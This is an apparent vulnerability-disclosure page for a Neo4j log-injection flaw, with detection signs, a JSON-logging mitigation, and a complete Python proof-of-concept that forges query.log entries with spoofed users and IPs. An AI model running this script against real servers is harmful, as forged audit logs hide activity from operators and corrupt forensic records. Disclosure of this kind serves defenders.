PoC Archive PoC Archive
Low CVE-2026-1337 unpatched

Neo4j Bolt Transaction Metadata Log Injection (CVE-2026-1337)

by JoakimBulow · 2026-07-05

Severity
Low
CVE
CVE-2026-1337
Category
network
Affected product
Neo4j graph database (Bolt protocol, query.log)
Affected versions
Not specified in source (demonstrated with neo4j-python driver 6.0.3)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-02
Author / ResearcherJoakimBulow
CVE / AdvisoryCVE-2026-1337
Categorynetwork
SeverityLow
CVSS ScoreNot specified in source
StatusPoC
Tagsneo4j, log-injection, bolt-protocol, log-forgery, graph-database, authenticated, ansi-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemNeo4j graph database (Bolt protocol, query.log)
Versions AffectedNot specified in source (demonstrated with neo4j-python driver 6.0.3)
Language / PlatformPython (neo4j Bolt driver) against a Neo4j server
Authentication RequiredYes
Network Access RequiredYes

Summary

Neo4j writes the transaction metadata field supplied over the Bolt protocol directly into query.log without escaping control characters such as newlines. An authenticated user can therefore embed a crafted metadata value containing full fake log lines, which Neo4j then appends verbatim to the log file. The PoC opens one transaction that runs a real, harmless query, followed by a second transaction whose metadata contains newline-separated text formatted to look like two additional “Query started”/completion log entries for queries that never actually ran. The result is a query.log that appears to show extra queries executed by different users and IP addresses, none of which are genuine. This only occurs when Neo4j’s query logging is configured in plain-text format rather than JSON.


Vulnerability Details

Root Cause

Neo4j does not sanitize or escape control characters (in particular \n) in the Bolt transaction metadata before writing it to the plain-text query.log, allowing an attacker-controlled string to be interpreted as multiple independent log lines.

Attack Vector

  1. Attacker authenticates to the Neo4j Bolt endpoint (e.g. bolt://host:7687) with valid credentials.
  2. Attacker runs one legitimate query for contrast/cover.
  3. Attacker opens a second transaction whose metadata dict contains a string that closes the current log field and injects fully formed fake “Query started” and completion log lines, including forged client IPs and usernames.
  4. Neo4j appends the metadata value to query.log unescaped, so the forged lines are indistinguishable from real entries except for minor formatting artifacts.

Impact

An authenticated attacker can forge or pollute Neo4j’s query audit log, undermining its use for monitoring, incident response, and forensics; the same lack of escaping could also be leveraged to inject XSS payloads into web-based log viewers or ANSI escape sequences into terminal-based log viewers.


Environment / Lab Setup

Target:   Neo4j server with Bolt enabled (default port 7687), query logging in plain-text (non-JSON) format
Attacker: Python 3 with the `neo4j` driver package (pip install neo4j)

Proof of Concept

PoC Script

See log_injection_poc.py in this folder.

1
python log_injection_poc.py --uri bolt://127.0.0.1:7687 --password secret123

The script logs in over Bolt, executes one real query for contrast, then opens a transaction with a metadata payload containing two fully-formed forged log entries (fake queries FakeQuery1/FakeQuery2 from spoofed IPs/users) which appear in query.log alongside the genuine entries.


Detection & Indicators of Compromise

Signs of compromise:

  • Duplicate or orphaned “Query started” entries in query.log with no matching completion line (or vice versa).
  • Log entries referencing client IPs or usernames that don’t correspond to known infrastructure or accounts.
  • Malformed trailing characters (stray quotes/braces) in otherwise normal-looking log lines.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationConfigure Neo4j query logging to JSON format (which escapes control characters), and restrict which accounts may open Bolt transactions with arbitrary metadata.

References


Notes

Mirrored from https://github.com/JoakimBulow/CVE-2026-1337 on 2026-07-05.

log_injection_poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
"""
Log Injection Proof of Concept
==============================

Usage:
    python log_injection_poc.py [--uri URI] [--user USER] [--password PASS]
    
    python log_injection_poc.py --uri bolt://192.168.1.100:7687 --password secret
"""

import argparse
from datetime import datetime
from neo4j import GraphDatabase


def create_fake_query_started(timestamp: str, query_id: str, tx_id: str, 
                               client_ip: str, user: str, query: str, 
                               driver: str) -> str:
    """Create a fake 'Query started:' log entry."""
    return (
        f"{timestamp}+0000 INFO  Query started: id:{query_id} - transaction id:{tx_id} - "
        f"0 ms: (planning: 0, waiting: 0) - 0 B - 0 page hits, 0 page faults - "
        f"bolt-session\tbolt\t{driver}\t\tclient/{client_ip}\tserver/127.0.0.1:7687>\t"
        f"neo4j - {user} - {query} - {{}} - runtime=null - {{}}"
    )


def create_fake_completion(timestamp: str, query_id: str, tx_id: str, 
                           client_ip: str, user: str, query: str, 
                           driver: str, duration_ms: int = 1) -> str:
    """Create a fake query completion log entry."""
    return (
        f"{timestamp}+0000 INFO  id:{query_id} - transaction id:{tx_id} - "
        f"{duration_ms} ms: (planning: 0, waiting: 0) - 312 B - 1 page hits, 0 page faults - "
        f"bolt-session\tbolt\t{driver}\t\tclient/{client_ip}\tserver/127.0.0.1:7687>\t"
        f"neo4j - {user} - {query} - {{}} - runtime=pipelined - {{}}"
    )


def main():
    parser = argparse.ArgumentParser(description="Log Injection PoC - Clean Fake Entries")
    parser.add_argument("--uri", default="bolt://127.0.0.1:7687", 
                       help="Neo4j URI (default: bolt://127.0.0.1:7687)")
    parser.add_argument("--user", default="neo4j", help="Neo4j username (default: neo4j)")
    parser.add_argument("--password", default="password123", help="Neo4j password (default: password123)")
    args = parser.parse_args()
    
    print("="*40)
    print("LOG INJECTION PoC")
    print("="*40)
    print(f"Target: {args.uri}")
    print(f"User: {args.user}")
    print()
    

    timestamp = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
    
    # Realistic driver string
    driver_string = "neo4j-python/6.0.3 Python/3.13.9-final-0 (linux)"
    
    # Multiple fake queries to inject - each with unique tx_id to avoid analyzer confusion
    fake_queries = [
        {
            "id": "700", "tx_id": "100", "ip": "10.0.0.1:1337",
            "user": "neo4j",
            "query": "MATCH (n:FakeQuery1) RETURN n LIMIT 1"
        },
        {
            "id": "701", "tx_id": "101", "ip": "192.168.1.50:4444",
            "user": "admin",
            "query": "MATCH (n:FakeQuery2) RETURN n LIMIT 1"
        },
    ]
    
    # Build payload with complete fake entries (both start and completion)
    # Real queries have: Query started + completion, so we inject both
    payload = "'\n"  # Close the quote from {x: ' and start new line
    
    # Add Query started entries
    for fq in fake_queries:
        payload += create_fake_query_started(
            timestamp, fq["id"], fq["tx_id"], fq["ip"], 
            fq["user"], fq["query"], driver_string
        ) + "\n"
    
    # Add completion entries (no newline after last one to minimize '} artifact)
    for i, fq in enumerate(fake_queries):
        entry = create_fake_completion(
            timestamp, fq["id"], fq["tx_id"], fq["ip"], 
            fq["user"], fq["query"], driver_string, duration_ms=i+1
        )
        if i < len(fake_queries) - 1:
            payload += entry + "\n"
        else:
            payload += entry  # Last entry - '} will append on same line
    
    print("Injecting fake log entries...")
    print("-" * 40)
    for fq in fake_queries:
        print(f"  • {fq['user']}@{fq['ip']}: {fq['query'][:50]}...")
    print("-" * 40)
    
    try:
        driver = GraphDatabase.driver(args.uri, auth=(args.user, args.password))
        
        # Query BEFORE injection (for comparison in logs) - real query 1
        with driver.session() as session:
            tx = session.begin_transaction()
            tx.run("MATCH (n:RealQuery) RETURN n LIMIT 1").consume()
            tx.commit()
            print("  Executed: MATCH (n:RealQuery) RETURN n LIMIT 1 (real)")
        
        # The injection query with fake log entries
        with driver.session() as session:
            tx = session.begin_transaction(metadata={"x": payload})
            tx.run("RETURN 1")
            tx.commit()
            print("  Executed: RETURN 1 (with injected fake entries)")
        
        driver.close()
        
        print()
        print("="*40)
        print("Check query.log")
        return 0
        
    except Exception as e:
        print(f"[ERROR] Failed: {e}")
        return 1


if __name__ == "__main__":
    exit(main())